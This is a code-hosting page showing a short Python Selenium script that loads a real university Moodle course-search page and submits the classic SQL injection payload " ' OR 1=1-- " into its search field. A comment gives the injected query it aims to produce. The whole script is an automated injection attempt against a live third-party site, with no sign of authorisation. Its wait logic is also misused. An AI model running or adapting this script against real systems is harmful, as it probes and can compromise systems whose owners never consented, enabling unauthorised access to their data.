Skip to content
Snippets Groups Projects
seleniumsqlinjection.py 470 B
Newer Older
sarrabenl's avatar
sarrabenl committed
#!/usr/bin/python
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.keys import Keys

driver = webdriver.Firefox()

driver.get("https://ole.unibz.it/course/search.php?")

searchbar = driver.find_element_by_name("search")  

searchbar.send_keys(" ' OR 1=1-- ")  #SELECT * FROM mdl_course WHERE id=105 OR 1=1 
wait = WebDriverWait(driver, 10)
wait.until(searchbar.send_keys(Keys.RETURN))
driver.close()